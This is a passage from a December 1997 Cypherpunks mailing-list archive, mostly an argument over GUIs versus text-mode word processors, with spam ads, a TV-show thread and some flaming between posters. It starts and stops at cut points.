because everyone was going someplace peaceful eventually and
neopaganism's many useful features brought widespread happiness.
We tracked down Playboys and Playgirls too and looked at them
and wondered at the novelty of the experience.

Tell children about the penis and the vagina and how they can
make you shiver and convulse with pleasure when you rub them
together! Tell them about the forgetfulness of being which comes
with orgasm. Sex is a wonderful part of life. Don't ruin it for
children with fear and associations of violence and evil.

GEEK NAKED







From whgiii at invweb.net  Mon Dec 29 21:20:09 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 13:20:09 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: <199712300516.AAA27021@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/29/97 
   at 10:34 PM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>landon dyer  writes:

>> At 03:47 AM 12/29/97 -0800, you wrote:
>> >
>> >  [lots of linux-vs-microsoft stuff deleted, then:]
>> >
>> >     - The third party market for Linux software would grow rapidly
>> >       and enormously.
>> >     - The government's software budget would be reduced dramatically.
>> >
>> >I consider both of these to be Good Things (tm).  The government
>> >wouldn't be forcing anything at the point of a gun, they'd simply be
>> >making a financially responsible vendor selection (hey, there's a
>> >first time for everything).  Our tax dollars shouldn't be wasted on
>> >substandard software when superior, cheaper alternatives exist.
>>
>>
>>   i haven't touched unix or linux in a long time, but i submit that
>> your ordinary GS-4 secretary can deal with microsoft word a lot more
>> efficiently than s/he can deal with vi/emacs/latex.  i assume there are
>> better tools available on *ix platforms these days, which actually
>> destroys my argument:
>>
>>   do you really want the government to be more efficient?  :-)

>This has no bloody crypto relevance, but the Applix word processor is
>just as easy to use as Microsoft Word. (And somebody should write a
>better free clone of MS Word as a student project.)

>Moreover I've some extremely stupid people successfully trained to use
>(character-mode) Wordperfect.

Lets see how many years before winblows were there computers??

It may be hard to believe for some of the "youngsters" on the list but
people got quite a bit of work done before the fancy GUI's and the ever
insistent push to "upgrade" every six months by Micky$loth.

A well train and experienced secretary will be much more productive with a
text-mode WP with a good set of macro's and keyboard accelerators. A mouse
and a GUI is not only unnecessary but counter-productive.

I would take a good multi-threaded, multi-tasking, text mode system over
the drivile that keeps comming out of Redmond, WA. anyday.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKiCaI9Co1n+aLhhAQFtiAP/WR7uCT5+UlWC1JSSNbKtQU51COLLsf7c
j0/Wam5SSJbiMOOpD7IA4h2lOb4gqvbUrP1CVwlx7U7Aocf9CI6qusQXdSGRxkNn
qWbNWEZaejYXE+kdxLu5jQNmgQhxuIGZ8J+Dpe+4/1sAZxHBUPs1C5d3pc8DWdHf
yKJiPG0++1E=
=pbfY
-----END PGP SIGNATURE-----






From real at freenet.edmonton.ab.ca  Mon Dec 29 22:02:16 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 30 Dec 1997 14:02:16 +0800
Subject: your mail
In-Reply-To: <031ce308b9b0af69c83a11320732d575@anon.efga.org>
Message-ID: 




I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 29 Dec 1997, Anonymous wrote:

> Timmy May's reheated, refurbished, and 
> regurgitated cud is completely 
> inappropriate for the mailing lists into 
> which it is cross-ruminated.
> 
>  ( )( )________ Timmy May
>  /00           \      _
> O_\\--mm---mm  /_______)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Mon Dec 29 22:30:41 1997
From: tcmay at got.net (Tim May)
Date: Tue, 30 Dec 1997 14:30:41 +0800
Subject: Word Processors and GUIs
In-Reply-To: 
Message-ID: 



This is largely a matter of personal preference (i.e., religious), but I'll
say why I think Wm. Geiger's claims are unconvincing.

At 9:58 PM -0700 12/29/97, William H. Geiger III wrote:

>Lets see how many years before winblows were there computers??
>
>It may be hard to believe for some of the "youngsters" on the list but
>people got quite a bit of work done before the fancy GUI's and the ever
>insistent push to "upgrade" every six months by Micky$loth.

The real boom in productivity has to do with users not having to memorize
various command sequences for various programs.

What the Macintosh made popular (though I won't get into the dangerous
ground of saying it pioneered these ideas--see Note below) was the approach
of having a relatively consistent set of commands across many applications.
And with the commands visible in a menu bar.

(Note: The Symbolics and Xerox Lisp/Smalltalk machines I used in the early
80s had similar features, with pop-up menus of commonly used commands. And,
of course, with even heavier use of object-oriented methodologies than the
Mac could afford to include. The idea of a unified, integrated environment
is an old one, going back at least to Doug Engelbart in the 60s, and
perhaps even further back. And the Bobrow book, "Design of Interactive
Programming Environments," laid out most of the features we now call "GUI."
Or some people call "GUI.")

The effect of this all is profound. It means that a manager or secretary or
whatever doesn't need to write down a bunch of funny commands for Wordstar,
or Emacs, or Autocad...he or she can "muddle through" just by going to the
"File" menu item to open files, save them, make copies, etc. Or to the
"Edit" menu item to make changes, cut and paste, alter fonts, whatever.

Specialists in some particular program of course become proficient even
without a GUI or Menu-based system. But of course most GUI programs (Mac,
of course, and Windows, and most Unices) offer various keyboard shortcuts.

Maybe Wm. Geiger and others dismiss GUI or Menu interfaces as "training
wheels." Perhaps. But it's very useful to have such aids when dealing with
5 or 10 or 30 different programs!

(I started out on a Data General Nova, got a Proc Tech Sol as my first PC,
then a VAX, then an IBM PC, then a Symbolics 3600 Lisp Machine, then a Mac,
and so on. With my PC, moving from one program to another was always
painful, and I had various keyboard overlays (remember those?) to help me
transition from the "Cmd-Shift-Backspace" to select a word in BlueWord
1.00A to "Shift-Doubleclick" to do the same thing in SpreadSheet 1.5. Once
I got my Macintosh, this all ended. No more keyboard overlays...they
weren't needed.)

>A well train and experienced secretary will be much more productive with a
>text-mode WP with a good set of macro's and keyboard accelerators. A mouse
>and a GUI is not only unnecessary but counter-productive.

Which of course explains why corporations are not using Windows or Macs!

I disagree strongly that any corporation is more productive, overall, with
such tools. Granted, a fast typist equipped with some special purpose text
entry system (we used to have Laniers and Wangs as our "secretary
engines"), but that typist will not be constrained by typing in a GUI
window!

But of course most companies, especially larger high tech companies, don't
even have secretaries to type and retype letters, memos, and reports.
Engineers, and even managers, and even very senior managers, type most of
their own stuff these days. (Or so all my friends in Silicon Valley assure
me.)

I started typing all my own technical papers into my own IBM PC back in
'83, using the first version of Microsoft Word. While it is true that I was
being paid to be a scientist, and not a typist, it was far faster for me to
write the papers on my PC, edit them, and so on, than to submit a longhand
(arghh!) copy to a secretary, finagle to get her to work on it, get it back
several days later, find numerous errors I had not put there, and even
missing sentences and paragraphs. And so on.

This experience of mine has been repeated millions of times in corporate
America. Even my old boss, Andy Grove, now types all of his correspondence,
which is now mostly e-mail. Or so he claims.

In this environment, where people at all levels are using multiple
programs--e-mail, word processing, drawing, spreadsheets, math programs,
graphing programs, Web browsers, and so on--it is much more efficient to
have an integrated environment, a common set of basic commands, a GUI.


>I would take a good multi-threaded, multi-tasking, text mode system over
>the drivile that keeps comming out of Redmond, WA. anyday.

I think the quality of lack of quality of word processors is grossly
overrated.

Most features are not used in ordinary writing. I write a *lot* of stuff,
and 99% of what I write is completely nondependent on bells and whistles in
most word processing programs.

(I could digress into discussing writing features I like to use for some
projects, such as MORE's outlining features, or page layout features I use
in FrameMaker. But 99% of my writing is now done for e-mail like this,
using the straightforward text tools of Eudora Pro.)

Most writing is done "typewriter style," with the ability to move words
around just lagniappe.  (And often dangerous lagniappe at that...most
errors creep in when people move words and sentences around, often leaving
them mismatching their surroundings in tense and awkwardly linking to often
leaving them mismatching often leaving them mismatching...see what I mean?)

Good writing comes from good writers, not from word processing programs.
Those who can't put a decent argument together will not find solace in some
"good multi-threaded, multi-tasking, text mode system."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From ravage at ssz.com  Mon Dec 29 22:55:36 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 14:55:36 +0800
Subject: TDC: Sci-Tek ...
Message-ID: <199712300715.BAA05352@einstein.ssz.com>



Hi,

Check out Sci-Tek on The Discovery Channel. The current episode is really
pretty full of grins and giggles, not to mention a lot of half-truths and
plain techno-fantasy.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From dm0 at avana.net  Mon Dec 29 23:43:22 1997
From: dm0 at avana.net (David Miller)
Date: Tue, 30 Dec 1997 15:43:22 +0800
Subject: You are all a bunch of cypherpunks
In-Reply-To: 
Message-ID: <34A8B328.30F52755@avana.net>



Tim May wrote (my comments below):
> 
> This is largely a matter of personal preference (i.e., religious), but I'll
> say why I think Wm. Geiger's claims are unconvincing.
> 
> At 9:58 PM -0700 12/29/97, William H. Geiger III wrote:
> 
> >Lets see how many years before winblows were there computers??
> >
> >It may be hard to believe for some of the "youngsters" on the list but
> >people got quite a bit of work done before the fancy GUI's and the ever
> >insistent push to "upgrade" every six months by Micky$loth.
> 
> The real boom in productivity has to do with users not having to memorize
> various command sequences for various programs.
> 
> What the Macintosh made popular (though I won't get into the dangerous
> ground of saying it pioneered these ideas--see Note below) was the approach
> of having a relatively consistent set of commands across many applications.
> And with the commands visible in a menu bar.
> 
> (Note: The Symbolics and Xerox Lisp/Smalltalk machines I used in the early
> 80s had similar features, with pop-up menus of commonly used commands. And,
> of course, with even heavier use of object-oriented methodologies than the
> Mac could afford to include. The idea of a unified, integrated environment
> is an old one, going back at least to Doug Engelbart in the 60s, and
> perhaps even further back. And the Bobrow book, "Design of Interactive
> Programming Environments," laid out most of the features we now call "GUI."
> Or some people call "GUI.")
> 
> The effect of this all is profound. It means that a manager or secretary or
> whatever doesn't need to write down a bunch of funny commands for Wordstar,
> or Emacs, or Autocad...he or she can "muddle through" just by going to the
> "File" menu item to open files, save them, make copies, etc. Or to the
> "Edit" menu item to make changes, cut and paste, alter fonts, whatever.
> 
> Specialists in some particular program of course become proficient even
> without a GUI or Menu-based system. But of course most GUI programs (Mac,
> of course, and Windows, and most Unices) offer various keyboard shortcuts.
> 
> Maybe Wm. Geiger and others dismiss GUI or Menu interfaces as "training
> wheels." Perhaps. But it's very useful to have such aids when dealing with
> 5 or 10 or 30 different programs!
> 
> (I started out on a Data General Nova, got a Proc Tech Sol as my first PC,
> then a VAX, then an IBM PC, then a Symbolics 3600 Lisp Machine, then a Mac,
> and so on. With my PC, moving from one program to another was always
> painful, and I had various keyboard overlays (remember those?) to help me
> transition from the "Cmd-Shift-Backspace" to select a word in BlueWord
> 1.00A to "Shift-Doubleclick" to do the same thing in SpreadSheet 1.5. Once
> I got my Macintosh, this all ended. No more keyboard overlays...they
> weren't needed.)
> 
> >A well train and experienced secretary will be much more productive with a
> >text-mode WP with a good set of macro's and keyboard accelerators. A mouse
> >and a GUI is not only unnecessary but counter-productive.
> 
> Which of course explains why corporations are not using Windows or Macs!
> 
> I disagree strongly that any corporation is more productive, overall, with
> such tools. Granted, a fast typist equipped with some special purpose text
> entry system (we used to have Laniers and Wangs as our "secretary
> engines"), but that typist will not be constrained by typing in a GUI
> window!
> 
> But of course most companies, especially larger high tech companies, don't
> even have secretaries to type and retype letters, memos, and reports.
> Engineers, and even managers, and even very senior managers, type most of
> their own stuff these days. (Or so all my friends in Silicon Valley assure
> me.)
> 
> I started typing all my own technical papers into my own IBM PC back in
> '83, using the first version of Microsoft Word. While it is true that I was
> being paid to be a scientist, and not a typist, it was far faster for me to
> write the papers on my PC, edit them, and so on, than to submit a longhand
> (arghh!) copy to a secretary, finagle to get her to work on it, get it back
> several days later, find numerous errors I had not put there, and even
> missing sentences and paragraphs. And so on.
> 
> This experience of mine has been repeated millions of times in corporate
> America. Even my old boss, Andy Grove, now types all of his correspondence,
> which is now mostly e-mail. Or so he claims.
> 
> In this environment, where people at all levels are using multiple
> programs--e-mail, word processing, drawing, spreadsheets, math programs,
> graphing programs, Web browsers, and so on--it is much more efficient to
> have an integrated environment, a common set of basic commands, a GUI.
> 
> >I would take a good multi-threaded, multi-tasking, text mode system over
> >the drivile that keeps comming out of Redmond, WA. anyday.
> 
> I think the quality of lack of quality of word processors is grossly
> overrated.
> 
> Most features are not used in ordinary writing. I write a *lot* of stuff,
> and 99% of what I write is completely nondependent on bells and whistles in
> most word processing programs.
> 
> (I could digress into discussing writing features I like to use for some
> projects, such as MORE's outlining features, or page layout features I use
> in FrameMaker. But 99% of my writing is now done for e-mail like this,
> using the straightforward text tools of Eudora Pro.)
> 
> Most writing is done "typewriter style," with the ability to move words
> around just lagniappe.  (And often dangerous lagniappe at that...most
> errors creep in when people move words and sentences around, often leaving
> them mismatching their surroundings in tense and awkwardly linking to often
> leaving them mismatching often leaving them mismatching...see what I mean?)
> 
> Good writing comes from good writers, not from word processing programs.
> Those who can't put a decent argument together will not find solace in some
> "good multi-threaded, multi-tasking, text mode system."
> 
> --Tim May
> 
> The Feds have shown their hand: they want a ban on domestic cryptography
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^2,976,221   | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway.

This list was "supposed" to be about issues other than os bitches
and gun talk.

Think of your history.  [See efga.org before your history becomes your
past.]

I called vi the best to shut this shit up.  Let's talk about some (new)
real
cypherpunk shit.  Not TEOTWAWKI like misc.survivalism.  Ok, but give me
a break.

These are the projects with current priority:

1)  I am starting a credit-card swiping program for interested citizens
in
    Atlanta.  The vast majority don't know what is on their credit
cards.
    Although they do not technically "own" the cards, I feel they have a
right
    to know what the ABA format has to say about them.

    (No, I'm not advocating fraud, so don't even start with me.)

2)  I want to know anyone who knows anything about full-duplex soundcard
    programming under Linux.  Internet Telephony is fast opon us, do you
want
    to subscribe or design?  This is duplex Nautilus II.  Get in gear.

I have 1) completed.  How about 2)?  Any closet Nautilus users out
there?

We could code, or we could just type jerk off until the clock strikes 5
pm.

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.

Encrypted IP Voice Duplex '98 for North America

(Apologies to Tim.  You know I agree with all that shit...)






From benoi at aol.com  Tue Dec 30 15:49:09 1997
From: benoi at aol.com (benoi at aol.com)
Date: Tue, 30 Dec 1997 15:49:09 -0800 (PST)
Subject: Advertise On the Internet For Free
Message-ID: <199712293500ZAA36542@post.com>


Dear Business Owners and Marketing Managers:

I am writing to invite you to have a free listing for your business in the
new National Direct Internet Yellow Pages.

Even if you already have your business listed or advertise somewhere else,
you will want to take advantage of this opportunity to extend your marketing
and reach more of your local customers and prospects.

Over 5.5 million hits were received on the National Direct site last
month alone. Today many of your local prospects are going online to
browse--and buy, and to reach as many potential customers as National Direct
you would have to advertise in over 6500 yellow page books.

Here's how the system works:  When someone wants your type of service, they
simply go online to http://www.ndiyp.com

     Then they type in the area code for the location they want.
     Finally, they type in what they are looking for.
     As long as you are listed, your business will come up on their screen.

Larger ads get more attention, of course, and cost little. But your
basic listing in the National Direct Internet Yellow Pages is yours free.

To claim your listing. simply fill out the form and return it via e-mail to
us asap. We'll see your business gets listed right away. Our e-mail address
is toppy15 at hotmail.com

If you have any questions, please feel free to call (405) 942-5811 Monday -
Friday 8-5.

Please Complete Entire Form:

Your Name:
Your Title:
Company Name:
Company Address:
City/State/Zip:
Telephone Number:
Fax Number:
Type of Business:
e-mail address:
Web site address:
Would you like information on larger classified or display ads?

Return toCLICK HERE





From tcmay at got.net  Tue Dec 30 00:18:21 1997
From: tcmay at got.net (Tim May)
Date: Tue, 30 Dec 1997 16:18:21 +0800
Subject: You are all a bunch of cypherpunks
In-Reply-To: 
Message-ID: 



At 1:39 AM -0700 12/30/97, David Miller wrote:

>This list was "supposed" to be about issues other than os bitches
>and gun talk.

Hey, try learning to _edit_. You foolishly included my entire article, .sig
lines and all, before adding your little gem of wisdom. Learn to include
only what is needed to reestablish context, or for specific discussion.


>I called vi the best to shut this shit up.  Let's talk about some (new)
>real
>cypherpunk shit.  Not TEOTWAWKI like misc.survivalism.  Ok, but give me
>a break.

Another illiterate discovers the Cypherpunks list, and then presumes to
tell _us_ what the "purpose" of it is.

A great many things are talked about. Learn to use a kill file, or to
delete what you don't want to read.

If you think the "purpose" of the list is, as some do, to talk about what a
neat book "Applied Cryptography" is, or where to get a copy of PGP, then,
fine, talk about that. Like so many yokels do.

Even better, go back to where you came from.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From brian at smarter.than.nu  Tue Dec 30 00:26:46 1997
From: brian at smarter.than.nu (Brian W. Buchanan)
Date: Tue, 30 Dec 1997 16:26:46 +0800
Subject: TDC: Sci-Tek ...
In-Reply-To: <199712300715.BAA05352@einstein.ssz.com>
Message-ID: 



On Tue, 30 Dec 1997, Jim Choate wrote:

> 
> Hi,
> 
> Check out Sci-Tek on The Discovery Channel. The current episode is really
> pretty full of grins and giggles, not to mention a lot of half-truths and
> plain techno-fantasy.

Yes, quite funny.  "The computer is connected to the ... Internet!  This
could be a window of opportunity for the lawmen!"  Disappointing, however. 
I was hoping they'd have a bit on UV laser stunguns or ultrasonic
confusion weapons.  I'd love to have one of those "metamorphic camoflage" 
suits, though. :)  Are they even remotely plausible? 

-- 
Brian Buchanan                                      brian at smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org

COPYRIGHT WARNING:
This message is Copyright (C) 1997 by Brian W. Buchanan, all rights reserved.

This message may not be reproduced, redistributed, transcribed, or
otherwise copied by electronic device, in whole or in part, by Microsoft
Corp. or any of its subsidiaries, the Church of Scientology, the United
States Government, or any entities attached to the Unites States
Government or holding active contracts with the United States Government
unless a payment of $5,000 per copy is delivered to the author and recipt
acknowledged before said reproduction is made.  Failure to comply is a
violation of the No Electronic Theft Act of 1997 and is punishable by
fines up to $250,000 and up to 5 years in federal prison.  Full "fair use" 
copying and redistribution rights are granted to parties not named above.







From whgiii at invweb.net  Tue Dec 30 01:47:06 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 17:47:06 +0800
Subject: Word Processors and GUIs
In-Reply-To: 
Message-ID: <199712300946.EAA29290@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/30/97 
   at 12:26 AM, Tim May  said:

>In this environment, where people at all levels are using multiple
>programs--e-mail, word processing, drawing, spreadsheets, math programs,
>graphing programs, Web browsers, and so on--it is much more efficient to
>have an integrated environment, a common set of basic commands, a GUI.

While you have made some intriguing points they for the most part address
the benefits of standardization not of a GUI (note: Standardization !=
GUI).

While some standardization is good it is not the be all to end all. While
standardization of cut, paste, open, close, print makes perfect sense most
commands do not fall into this catagory. The inherent benefit of this
standardization decrease the more specialized an application becomes. With
a program like Autocad or MathCad or even Lotus 1-2-3 where one has a
steep learning curve of specialized commands the benefits of standardized
basic commands boarders on insignificant.

Once we get past the standardization issue to the one of textmode vs GUI
(which was the topic of my original post) I doubt that one can make the
case that a draftsman running a graphics program under a textmode OS is
less efficient as his counterpart who is saddled with a bloated GUI OS. In
fact if both are operating on the same hardware I would venture a guess
that the textmode user will be more efficient by the simple fact that his
resources are not being consumed by the GUI.

The same case can be made for the accounting staff using spreadsheets or
the secretaries typing letters. I'll take an accounting department using
Lotus 1-2-3 3.x up against a similar group running MS Office and Win95/NT
any day of the week. I'll get the same work done faster and *cheaper*. Now
the MS group will have prettier reports but why should the accounting dept
be in the business of typesetting??

This brings up another issue of decreased performance with the GUI's. It
is the notion that every document must be type-set. I can't even start to
imagine the millions of man hours wasted in the office because every
insignificant memo, report, and letter has to be formatted "just right"
before it is acceptable. Now with the growing popularity of e-mail this
trend has reversed somewhat but you have companies like Netscape and
Microsoft who are eagerly trying to herd the masses back into this typeset
mentality.

But I digress. :)

Another contention I have with the GUI's is the use of icons. One of the
most misused and time wasting "features" of the GUI's. It makes absolutely
no sense for someone who is working on the keyboard to stop what they are
doing, go over to the mouse, and then point and click to execute a
command. Now if you are in some type of graphics/drawing program where
most of your work is being done with a mouse already then it makes sense
but in a word processor or a spreadsheet or even a database it is highly
inefficient.

Well I guess I will rap this up with a final note. With the GUI OS's (and
the applications that run on them) as size and complexity increases
performance and reliability decreases. Without a doubt I can get more work
done on cheaper hardware running *nix or os/2 using only text mode
applications than I can running a GUI with it's associated bloated
applications.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKjBr49Co1n+aLhhAQFgdwP/aZGf5nvcgP1mV7dOnOCImTyZ8eTz8QxX
sS9gUMQ6qqVJFLTpI7fk62dOv8CjBmT+5QlW+f/XW+YIc+IUmEeoU5sE8aFC9kb2
EB9Zw/wxzSWuypRir2SJcF6YW7EUoTpPRjGCYMQwpfE5cPYdLX+2v9QQCRIOM1fS
1RZ4DnW1GmY=
=rr1v
-----END PGP SIGNATURE-----






From ccxt at aol.com  Tue Dec 30 03:57:33 1997
From: ccxt at aol.com (ccxt at aol.com)
Date: Tue, 30 Dec 1997 19:57:33 +0800
Subject: Season's Greetings from HOLLYWOOD...................................
Message-ID: <61558257_52849825>





                       Let Your
                   Creative Efforts
                       for '97
                    Compound into
                  Prosperity for '98


         An Award Winning Team of Hollywood
               Producers and Directors
              is pleased to Invite the
             Submission of Your Entries
                         in
          Computer Animation, Photography
                         and
                    Illustration
                       for the
                World (WWW) Premiere
                       of the
       1997 Annual International "CAPI" Awards



        Be included in the "CAPI" Awards First
            CD-ROM "Library of Excellence"
                  Distributed to Top
     Motion Picture Studios...Television Networks...
              and Advertising Agencies
         in Hollywood and around the World!




PARTICIPATE in the World Wide Web's first competition organized
by Top Hollywood Producers dedicated to discovering and honoring
the very best new talent in the world...directly throughout the 
Internet!


ENTRIES ARE JUDGED by an International Award-Winning Team of 
Industry Professionals currently participating in some of 
Hollywood's most prestigious Entertainment and Communications
Productions! 


AWARDS ARE PRESENTED for the excellence and merit of each 
individual entry.  ENTRANTS DO NOT COMPETE AGAINST EACH OTHER!  
There are equal opportunities for multiple GOLD, SILVER, and 
BRONZE "CAPI" Awards to be presented in all categories, to 
numerous qualifying entrants! 


RECEIVE INTERNATIONAL RECOGNITION and publicity that can assist 
you in creating new marketing and promotional opportunities for 
your career...potentially having your work Licensed by Leading 
Producers in the Hollywood & International Entertainment and 
Communications Industries! 


 For more information visit us at: http://www.capiawards.com/ 

              Copyright 1997 "CAPI" Awards
             "CAPI" AWARDS, PUBLIC RELATIONS
       11247 Acama Ave., Studio City, CA, USA 91602




Our research indicates the preceeding information is of 
                  interest to you. 
  If you prefer not to be on this private mailing list, 
   please let us know and you will be promptly removed.


Email:
> Date: Tue, 30 Dec 97 03:40:31 -0600
> Subject: Re: Word Processors and GUIs

> While some standardization is good it is not the be all to end all. While
> standardization of cut, paste, open, close, print makes perfect sense most
> commands do not fall into this catagory.

Perhaps not, but 90% of what people *do* does fall into those operations.
Ever hear of macro's? Ever use a Sun where the menu pull-down pops up under
the pointer when you click a button? Both of these will increase the use of
a GUI to way more than a straight CLI interface (and I type at nearly 80
words a minute with a slightly crippled L. hand). I suggest you get a GUI
macro utility and something like PopUpMenu on the Amiga that makes the
menu's appear both at the command bar *and* under the mouse. Using this
technique I can execute a file save via GUI in about 1/3 the time I can in
the CLI.

> The inherent benefit of this
> standardization decrease the more specialized an application becomes. With
> a program like Autocad or MathCad or even Lotus 1-2-3 where one has a
> steep learning curve of specialized commands the benefits of standardized
> basic commands boarders on insignificant.

You are confusing learning the commands with learning the 'model' that the
program impliments. The learning curve comes from the user learning the
model the programmer(s) had in their head(s) while writing the program and
learning to solve problems with the black box functions the
programmer/developer uses to solve those problems.

> Once we get past the standardization issue to the one of textmode vs GUI
> (which was the topic of my original post) I doubt that one can make the
> case that a draftsman running a graphics program under a textmode OS is
> less efficient as his counterpart who is saddled with a bloated GUI OS. In

I use both POVRay as well as LightWave, one text and one GUI. The GUI
program is *much* easier to develop 3d renderings in because things like
boundary violations, control path anomolies, and such are *much* easier to
see and deal with in the GUI interface. I also use Scientific Notebook, I
can't imagine doing the same sort of things I do with that GUI
text-processor with say a textual Postscript or Tex program. Just try making
a nice nifty graphical output using Postscript (say) using a GUI and a
editor working in Postscript directly.

> fact if both are operating on the same hardware I would venture a guess
> that the textmode user will be more efficient by the simple fact that his
> resources are not being consumed by the GUI.

This assumption is *very* dependant upon the model of the software. It
depends upon whether the process takes the command sequence and executes it
in parallel or in series with the command entry sequence. In other words, if
the program renders while you are entering new commands will obviously be
much slower than a program that takes the sequence of commands in toto and
*then* executes them. The efficiency to a large part depends upon the model
of the software, not the particular command and control interface.

If you expect to execute processes in parallel (ie edit & execute in
parallel) then a GUI is much quicker (not taking into account the added
overhead of the GUI, which in and of itself is not a condemnation of the GUI
but rather the poor processors we have to run them on) because you can see
you errors as they occur and it keeps them from propogating through the
design or use process. If sequential is your goal then it really doesn't
matter because in both cases (ie GUI v CLI) becuase while it's executing
your commands you can't do anything anyway.

Of course, these models *only* apply if we are single-tasking programs. If
we allow multi-tasking then GUI wins hands down because graphical
information content is *much* higher than CLI in every case. This allows us
to display more information on a GUI than a CLI.

Personaly, this is a non-argument from the technical perspective. It is more
indicative of the mental flexibility of the holders of the various
positions. I wouldn't use an OS that wouldn't let me do both at the same
time (and I don't) and use them as I need them.

> The same case can be made for the accounting staff using spreadsheets or
> the secretaries typing letters. I'll take an accounting department using
> Lotus 1-2-3 3.x up against a similar group running MS Office and Win95/NT
> any day of the week. I'll get the same work done faster and *cheaper*.

Excuse me but the user interface of your example, 123, *has* GUI elements
even in a text mode display.

> This brings up another issue of decreased performance with the GUI's. It
> is the notion that every document must be type-set. I can't even start to
> imagine the millions of man hours wasted in the office because every
> insignificant memo, report, and letter has to be formatted "just right"

This is a condemnation of human nature, not GUI's. I use a plain old text
editor when I'm making simple edits. A perfect example is from work where we
recently have taken on a group of office 'helpers' to take care of the more
mundane office needs. They discovered they could add graphics and
attachments to their email and ever since we have suffered from the abuse,
emails with a dozen attachments of pretty pictures that I have to
specificaly work through. Considering I get somewhere in the neighborhood of
500 emails a day that can be a real time sink (thank god for procmail!).
But whattcha gonna do, shoot 'em?

> Another contention I have with the GUI's is the use of icons. One of the
> most misused and time wasting "features" of the GUI's. It makes absolutely
> no sense for someone who is working on the keyboard to stop what they are
> doing, go over to the mouse, and then point and click to execute a
> command.

Then quit using the mouse on the wrong damn side of the keyboard. If you're
right handed the mouse goes on the left, not the right. That way you don't
have to quit typing to deal with the GUI. It takes a couple of days to over
come the 'handedness' that is built into our brain, but the long term
benefit is that your wrist load goes *way* down on the right *and* your left
hand fine motor control improves significantly. If you happen to be left
handed then you need a reversed keyboard with the return key and such on the
L. and the mouse on the right.

Try it for 3 days - you'll like it.

> Well I guess I will rap this up with a final note. With the GUI OS's (and
> the applications that run on them) as size and complexity increases
> performance and reliability decreases. Without a doubt I can get more work
> done on cheaper hardware running *nix or os/2 using only text mode
> applications than I can running a GUI with it's associated bloated
> applications.

That's interesting, I use Linux (x86 & PPC) , WinNT, AmigaDos, AIX, & Solaris
at home on my personal machines (11 of them not counting the TI explorer,
, Atari 800, SX-64 and C-128) and don't find a significant difference in
reliability. They all stay up for weeks and weeks.

OS/2 is a sucky os, it's unstable and calling it reliable is a joke. It's
user interface is inconsistent, it's task swapper is weird and stalls at
